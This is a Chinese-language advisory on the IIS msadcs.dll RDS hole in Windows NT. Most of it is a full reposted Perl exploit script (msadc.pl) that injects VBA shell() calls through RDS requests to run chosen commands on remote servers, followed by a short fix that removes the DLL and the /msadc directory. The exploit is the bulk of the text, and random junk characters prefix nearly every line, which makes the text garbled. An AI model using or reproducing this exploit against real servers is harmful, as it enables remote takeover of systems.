IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=riP~%_ML) Hou{tUm{xC 涉及程序:
Ha/\&Z( Microsoft NT server
_c(=> '<}7bw}+c 描述:
!^LvNW\| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.K7A!; cX=` Tl 详细:
zm~~mz A 如果你没有时间读详细内容的话,就删除:
C>MoR 3] c:\Program Files\Common Files\System\Msadc\msadcs.dll
vj_oMmjKw 有关的安全问题就没有了。
k|lxJ^V# ?"C]h s 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
\E#r[9F{ !
\gRXP} 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
oqY?#p/ 关于利用ODBC远程漏洞的描述,请参看:
Xoik%T- Wh<lmC50( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +(/Z=4;,[ rxz3Mqg 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ad~ qr n\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp GqAedz ;. %fyb?6?Y 这里不再论述。
xH
f9N? DQ9s57VxC! 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
T,IV)aq ^y3\e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#k"[TCQ> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(
ou:"Y -w2ga1 tEEhSG)s% #将下面这段保存为txt文件,然后: "perl -x 文件名"
KW;xlJz(j ~::R+Lh( #!perl
fwnpmuJ #
{&;b0'!Tf # MSADC/RDS 'usage' (aka exploit) script
L.Lt9W2fi #
HOD2/ # by rain.forest.puppy
tFSdi.|G= #
k}O|4*.BT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9D|
FqU | # beta test and find errors!
#0P<#S^7 5\'%zZ, l use Socket; use Getopt::Std;
y-@!, @e getopts("e:vd:h:XR", \%args);
g 764wl HcVPJuD print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
I{AU, jQr~@15J# if (!defined $args{h} && !defined $args{R}) {
$XI<s$P%(% print qq~
U-?
^B*< Usage: msadc.pl -h <host> { -d <delay> -X -v }
I/>IB -h <host> = host you want to scan (ip or domain)
$Us@fJr -d <seconds> = delay between calls, default 1 second
n=SZ8Rj7 -X = dump Index Server path table, if available
,G:4H%? -v = verbose
zo5.}mr+ -e = external dictionary file for step 5
F*w|/- e %zD-gw> Or a -R will resume a command session
$oQsh|sTI R] [M_ r ~; exit;}
hHg
gH4T Gu}x+hG $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
5HIpoj;\( if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6nfkZvn if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'?>eW2d if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1h#k&r#*3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
O1ha'@qID if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y1'.m5E I>3]4mI*a if (!defined $args{R}){ $ret = &has_msadc;
8k1r|s@d die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
ygW@[^g #-Rz`Y<& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
aK&+p#4t . "cmd /c ";
vedMzef[@> $in=<STDIN>; chomp $in;
oU@ljSD $command="cmd /c " . $in ;
_%2Umy| ZYt
__N if (defined $args{R}) {&load; exit;}
<D dHP 0V#t ;`Q3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7, 13g) &try_btcustmr;
9HE(*S g"&bX4uD) print "\nStep 2: Trying to make our own DSN...";
?|7+cz$g &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
D{4hNO } >w print "\nStep 3: Trying known DSNs...";
Ntnmd &known_dsn;
XH *tChf< D+)=bPMe print "\nStep 4: Trying known .mdbs...";
._&lG3' &known_mdb;
N.G*ii\ >h[!gXL^ if (defined $args{e}){
B
R:
print "\nStep 5: Trying dictionary of DSN names...";
xs I/DW &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
mCt>s9a)H &o/4hnHYt print "Sorry Charley...maybe next time?\n";
BXo|CITso exit;
w&"w" Wh Zaq ##############################################################################
B# ?2, tvOAN|+F sub sendraw { # ripped and modded from whisker
~0-764% sleep($delay); # it's a DoS on the server! At least on mine...
UBi4 itGD my ($pstr)=@_;
VqL
5f socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6)U&XWH0 die("Socket problems\n");
&7T
H
V if(connect(S,pack "SnA4x8",2,80,$target)){
fBgKX?Y select(S); $|=1;
2E2}|:
||& print $pstr; my @in=<S>;
rH9}nL select(STDOUT); close(S);
bXH^Bm return @in;
0#[f2X62B } else { die("Can't connect...\n"); }}
@,4%8E5 Uo}&-$ B ##############################################################################
i+[3o@ '=
<`@ sub make_header { # make the HTTP request
<gdgcvd my $msadc=<<EOT
i5KwYoN POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V0Z7o\-J User-Agent: ACTIVEDATA
DjzUH{6O Host: $ip
)6Q0f Content-Length: $clen
~snF20 Connection: Keep-Alive
PS(j)I3 S9NN.dKu ADCClientVersion:01.06
m_$I?F0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b!X"2' EOX_[ek7 --!ADM!ROX!YOUR!WORLD!
GWInN8.5 Content-Type: application/x-varg
ZGpTw[5ql Content-Length: $reqlen
qysa!B 3Y{)(%I EOT
kLVn(dC " ; $msadc=~s/\n/\r\n/g;
vif8{S return $msadc;}
A<Z5 e4Ox`gLa*p ##############################################################################
^dnz=FB PGPbpl&\t sub make_req { # make the RDS request
I26gGp my ($switch, $p1, $p2)=@_;
%Sn 6*\z my $req=""; my $t1, $t2, $query, $dsn;
cN WcNMm =/g$bZ if ($switch==1){ # this is the btcustmr.mdb query
[Hj'nA^ $query="Select * from Customers where City=" . make_shell();
qX+gG",8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q Iy^N:C2' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
WjrMd#^ %Lp7@ elsif ($switch==2){ # this is general make table query
T]6c9_ $query="create table AZZ (B int, C varchar(10))";
V<vPFxC $dsn="$p1";}
2]} Uov +&7Kk9^ elsif ($switch==3){ # this is general exploit table query
q[7d7i/r6 $query="select * from AZZ where C=" . make_shell();
`8(h,aj; $dsn="$p1";}
hO/5>Zv? k&A7alw elsif ($switch==4){ # attempt to hork file info from index server
ZjZh z` $query="select path from scope()";
`_1(Q9Q $dsn="Provider=MSIDXS;";}
:Jeo_}e 0 i.t9jN elsif ($switch==5){ # bad query
\$'m^tVU $query="select";
:5S |x/ $dsn="$p1";}
x$n~f:1Y 'xbERu(Y $t1= make_unicode($query);
A6N~UV*_ $t2= make_unicode($dsn);
V(2,\+ t $req = "\x02\x00\x03\x00";
+^*5${g;@H $req.= "\x08\x00" . pack ("S1", length($t1));
GwQZf| $req.= "\x00\x00" . $t1 ;
*NW QmC~ $req.= "\x08\x00" . pack ("S1", length($t2));
;4G\]%c)E{ $req.= "\x00\x00" . $t2 ;
Fi'M"^:r{ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z]c,}Q return $req;}
O wA~( (9}eF)+O ##############################################################################
;T.s!B$Uu nU&NopD+*G sub make_shell { # this makes the shell() statement
bEBBwv return "'|shell(\"$command\")|'";}
}r}RRd *`ZB+ \* ##############################################################################
m-ph} 0\'Q&oTo sub make_unicode { # quick little function to convert to unicode
I
f3{E my ($in)=@_; my $out;
Or+*q91j for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2;4]PRD6w return $out;}
<!~1{`n%9J ,\lYPx\P[ ##############################################################################
DB`$Ru@ 9q1HSJ1) sub rdo_success { # checks for RDO return success (this is kludge)
5wH54gj} my (@in) = @_; my $base=content_start(@in);
]3t1=+ if($in[$base]=~/multipart\/mixed/){
x}?DkFuxb return 1 if( $in[$base+10]=~/^\x09\x00/ );}
heL$2dZ5H return 0;}
]<kupaRQ S jVsF1d_ ##############################################################################
X,TTM,1w _[OF"X2 sub make_dsn { # this makes a DSN for us
U{uPt*GUd/ my @drives=("c","d","e","f");
r$GPYyHK print "\nMaking DSN: ";
l'*^$qc foreach $drive (@drives) {
k0|`y U print "$drive: ";
?P""KVpo my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
XM6".eF)M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"1XXE3^^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
VG_uxKY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
d4Co^A& return 0 if $2 eq "404"; # not found/doesn't exist
=db'#m{$ if($2 eq "200") {
I@0z/4H`` foreach $line (@results) {
wMb)6YZs return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-t8hi+NK } return 0;}
erx5j\ L*g.
6+2 ##############################################################################
5Vp;dc
lWx sub verify_exists {
*jk3 \KaoV my ($page)=@_;
gq'>6vOj my @results=sendraw("GET $page HTTP/1.0\n\n");
vBh; return $results[0];}
j G- I|,pE**T ##############################################################################
Y5dD|]F| z`k El@ sub try_btcustmr {
No`|m0 :j my @drives=("c","d","e","f");
0QMTIAW6h my @dirs=("winnt","winnt35","winnt351","win","windows");
d<Ggw#}:m C:`;d&d foreach $dir (@dirs) {
i2){xg~c print "$dir -> "; # fun status so you can see progress
M.>^{n$
z foreach $drive (@drives) {
}]AT _bh, print "$drive: "; # ditto
@j O4EEe: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
v*E(/}<v $reqlenlen=length( "$reqlen" );
r&}(9Cq&"y $clen= 206 + $reqlenlen + $reqlen;
U1ZIuDg'E \6{krn| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
qysTjGwa] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9G0D3F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
s\[LpLt pzp,t(%j ##############################################################################
&+ KyPY+
\K}-I
sub odbc_error {
d1v<DU>M my (@in)=@_; my $base;
pO%{'%RA my $base = content_start(@in);
Ve{n<{P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
lnS(&`oh\= $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L7'%;?Z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UMV)wy|j $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vr=~M? return $in[$base+4].$in[$base+5].$in[$base+6];}
lT2 4JhJ# print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A)tP()+) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
w|IjQ1{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
! Tx&vtq 2{bhA5L ##############################################################################
bS.s?a 4&QUh+F sub verbose {
[J^ my ($in)=@_;
5W/{h q8}} return if !$verbose;
-LtK8wl^ print STDOUT "\n$in\n";}
<,"4k&0Q>V +`@M*kd ##############################################################################
q:I$EpKf?Q j 5Qo*p sub save {
8S\RN&T$ my ($p1, $p2, $p3, $p4)=@_;
u*3NS$vH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:.kZR; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
07V8;A<, close OUT;}
7 8Vcu'j&_ hi ~} ##############################################################################
S,)d(g3> k1)%.pt% sub load {
7BR8/4gcPu my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cHx%Nd\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
OS-sk! @p=<IN>; close(IN);
^W~p..DF $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&(EHq $target= inet_aton($ip) || die("inet_aton problems");
-KH)J print "Resuming to $ip ...";
T*?s@$)m4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k.<3HU if($p[1]==1) {
"-31'R- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%SrM|&[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,R?np9wc my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$&{ti.l if (rdo_success(@results)){print "Success!\n";}
NQfYxB1Yr: else { print "failed\n"; verbose(odbc_error(@results));}}
O.,3| elsif ($p[1]==3){
hfqqQ!,l! if(run_query("$p[3]")){
~*M$O & print "Success!\n";} else { print "failed\n"; }}
r> k-KdS elsif ($p[1]==4){
u: &o}[ if(run_query($drvst . "$p[3]")){
~e `Bq> print "Success!\n"; } else { print "failed\n"; }}
#`(WUn0H? exit;}
]PWDE" ^Dg<Ki ##############################################################################
sV/l5]b] O:'?n8rWL sub create_table {
UDy(dn>J:J my ($in)=@_;
w]u@G-e $reqlen=length( make_req(2,$in,"") ) - 28;
OtJ\T/q, $reqlenlen=length( "$reqlen" );
f$.?$ $clen= 206 + $reqlenlen + $reqlen;
FS6<V0pil my @results=sendraw(make_header() . make_req(2,$in,""));
G,f-. return 1 if rdo_success(@results);
UH?
p]4Nz my $temp= odbc_error(@results); verbose($temp);
'OkGReKt return 1 if $temp=~/Table 'AZZ' already exists/;
?WUF!Jk return 0;}
+-<}+8G; z0%\OhuCcf ##############################################################################
VA] e 1TS0X:TCn sub known_dsn {
,E;;wdIt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
)? =YT my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
BHA923p? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|l0Ea "banner", "banners", "ads", "ADCDemo", "ADCTest");
b>\?yL/%+? zce`\ /: foreach $dSn (@dsns) {
sa1h%< print ".";
{D`'0Z1" next if (!is_access("DSN=$dSn"));
)w h%| if(create_table("DSN=$dSn")){
S?ujRp print "$dSn successful\n";
7%MbhlN. if(run_query("DSN=$dSn")){
DC+b=IOz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y ^KTkS0D print "Something's borked. Use verbose next time\n";}}} print "\n";}
:i~W
}r #m<tJnEO ##############################################################################
M;w?[yEZ &<y2q/U} sub is_access {
fX~'Zk\u my ($in)=@_;
aAE>)#f( $reqlen=length( make_req(5,$in,"") ) - 28;
-d+aV1n $reqlenlen=length( "$reqlen" );
`F t]MR $clen= 206 + $reqlenlen + $reqlen;
~]HN9R^& my @results=sendraw(make_header() . make_req(5,$in,""));
5| B(\wqG my $temp= odbc_error(@results);
@I`C#~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
R=Zn -q return 0;}
^EELaG "9!d]2.-Vk ##############################################################################
5cJ!" WWKvh sub run_query {
,Lpixnm] my ($in)=@_;
l<g5yYyf $reqlen=length( make_req(3,$in,"") ) - 28;
0 B@n{PvR0 $reqlenlen=length( "$reqlen" );
{q%Sx*k9[ $clen= 206 + $reqlenlen + $reqlen;
\1"'E@+ my @results=sendraw(make_header() . make_req(3,$in,""));
/E;y,o75 return 1 if rdo_success(@results);
~y HU^5D my $temp= odbc_error(@results); verbose($temp);
DdQ;Q5| return 0;}
^y!;xc$(Qs (*p ,T ##############################################################################
+Hvc_Av'' P{OAV+cG sub known_mdb {
T9W`?A my @drives=("c","d","e","f","g");
]z/Zq my @dirs=("winnt","winnt35","winnt351","win","windows");
fKH7xu!V4+ my $dir, $drive, $mdb;
v+7kU= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#:jb*d? >Fio;cn? # this is sparse, because I don't know of many
54lu2gD' my @sysmdbs=( "\\catroot\\icatalog.mdb",
XfPFo6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
7?j;7.i
s( "\\system32\\certmdb.mdb",
d^03"t0O] "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
N`@NiJ(O; N;Dp~(1
J1 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>F1kR\! "\\cfusion\\cfapps\\forums\\forums_.mdb",
dZ#&YG)?e "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{7u[1[L1 "\\cfusion\\cfapps\\security\\realm_.mdb",
6!x&LoM "\\cfusion\\cfapps\\security\\data\\realm.mdb",
vo>d!rVCV "\\cfusion\\database\\cfexamples.mdb",
C%d_@*82 "\\cfusion\\database\\cfsnippets.mdb",
`Z:R Ce^ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
1 `^Rdi0 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]aP=Ks% "\\cfusion\\brighttiger\\database\\cleam.mdb",
Y8M]Lwj "\\cfusion\\database\\smpolicy.mdb",
}En "\\cfusion\\database\cypress.mdb",
!+>v[(OzM "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
T|J9cgtS "\\website\\cgi-win\\dbsample.mdb",
:NJ_n6E "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=_$Qtq+h "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
2M#M"LHo ); #these are just
Q!-
0xlx foreach $drive (@drives) {
P-F)%T[ foreach $dir (@dirs){
W} WI; cI foreach $mdb (@sysmdbs) {
Lbe\@S print ".";
.2d9?p3Y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
We0.3aG print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
r/pH_@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
V7#v6!7A@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4BnSqw a_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
`E+Jnu,jC QaUm1i# foreach $drive (@drives) {
?
WJ> p foreach $mdb (@mdbs) {
^`un'5Vk print ".";
S$KFf=0 if(create_table($drv . $drive . $dir . $mdb)){
>U F print "\n" . $drive . $dir . $mdb . " successful\n";
~wg:!VWA) if(run_query($drv . $drive . $dir . $mdb)){
zvABU+{jD print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
fYKO J5f } else { print "Something's borked. Use verbose next time\n"; }}}}
C{TA.\ }
hxce\OuU0h " \I4u{zC ##############################################################################
"KcA n>@oBG)! sub hork_idx {
W3`>8v1?o print "\nAttempting to dump Index Server tables...\n";
pv|Pm print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
f{SB1M $reqlen=length( make_req(4,"","") ) - 28;
@`\VBW $reqlenlen=length( "$reqlen" );
(&/2\0QV $clen= 206 + $reqlenlen + $reqlen;
}VDqj}is my @results=sendraw2(make_header() . make_req(4,"",""));
hW{j\@R if (rdo_success(@results)){
*s@Qtgu my $max=@results; my $c; my %d;
U
qG
.:@T for($c=19; $c<$max; $c++){
+`3!I $results[$c]=~s/\x00//g;
V_plq6z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P[s8JDqu $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
fw ,\DFHO $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Aw&tP[N[ $d{"$1$2"}="";}
+`?Y?L^
J foreach $c (keys %d){ print "$c\n"; }
WJI[9@^I~ } else {print "Index server doesn't seem to be installed.\n"; }}
A?Bif; /}-CvSR ##############################################################################
^vG8#A}] gZ5[
C sub dsn_dict {
>0Q|nCx open(IN, "<$args{e}") || die("Can't open external dictionary\n");
~]ZpA-*@Ut while(<IN>){
N !TW! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(O0Urm next if (!is_access("DSN=$dSn"));
2^?:&1: if(create_table("DSN=$dSn")){
v4@Z(M print "$dSn successful\n";
}fp-5
if(run_query("DSN=$dSn")){
cwGbSW$t print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t&?im< print "Something's borked. Use verbose next time\n";}}}
^>"z@$|\: print "\n"; close(IN);}
qzb<J=FAU R8.CC1Ix ##############################################################################
K~ ;45Z2 1S@vGq} sub sendraw2 { # ripped and modded from whisker
JxyB( sleep($delay); # it's a DoS on the server! At least on mine...
% YOndIS: my ($pstr)=@_;
A*W)bZs. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6e7{Iy die("Socket problems\n");
)7_"wD`
z if(connect(S,pack "SnA4x8",2,80,$target)){
GR\5WypoJ print "Connected. Getting data";
DY[$"8Kxcp open(OUT,">raw.out"); my @in;
zt^48~ry select(S); $|=1; print $pstr;
~|<m,)! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.*elggM close(OUT); select(STDOUT); close(S); return @in;
=y=cW1TG } else { die("Can't connect...\n"); }}
|!y A@y? #r3l[bKK ##############################################################################
HF3f)}l$ W_0>y9? sub content_start { # this will take in the server headers
:d ~|jS my (@in)=@_; my $c;
(Vo>e =q for ($c=1;$c<500;$c++) {
&y<ZE if($in[$c] =~/^\x0d\x0a/){
jsNF#yE> if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N/GQt\tV< else { return $c+1; }}}
s3W@WH^. return -1;} # it should never get here actually
*5xJv ,m,)I ##############################################################################
q 4V7 vf8\i-U= sub funky {
6m6zA/ my (@in)=@_; my $error=odbc_error(@in);
<8,cuX\ if($error=~/ADO could not find the specified provider/){
ne^imht print "\nServer returned an ADO miscofiguration message\nAborting.\n";
_V\Bp=9W exit;}
dg^L= if($error=~/A Handler is required/){
!+:ov'F print "\nServer has custom handler filters (they most likely are patched)\n";
\e`~i@) ~Z exit;}
)#LpCM,a if($error=~/specified Handler has denied Access/){
5Ba[k[b^ print "\nServer has custom handler filters (they most likely are patched)\n";
dMrd_1 exit;}}
5O`dO9g}$ f-r]
|k ##############################################################################
7#wn<HDY% 8XsguC sub has_msadc {
&d'Awvy0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&N;-J2M my $base=content_start(@results);
] Eh}L return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
><=gV~7lx return 0;}
1
E22R
eAqz3#_My ########################
HI@syFaJM DLCkM*' b"TjGE 解决方案:
{aM<{_v 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\lSU 2、移除web 目录: /msadc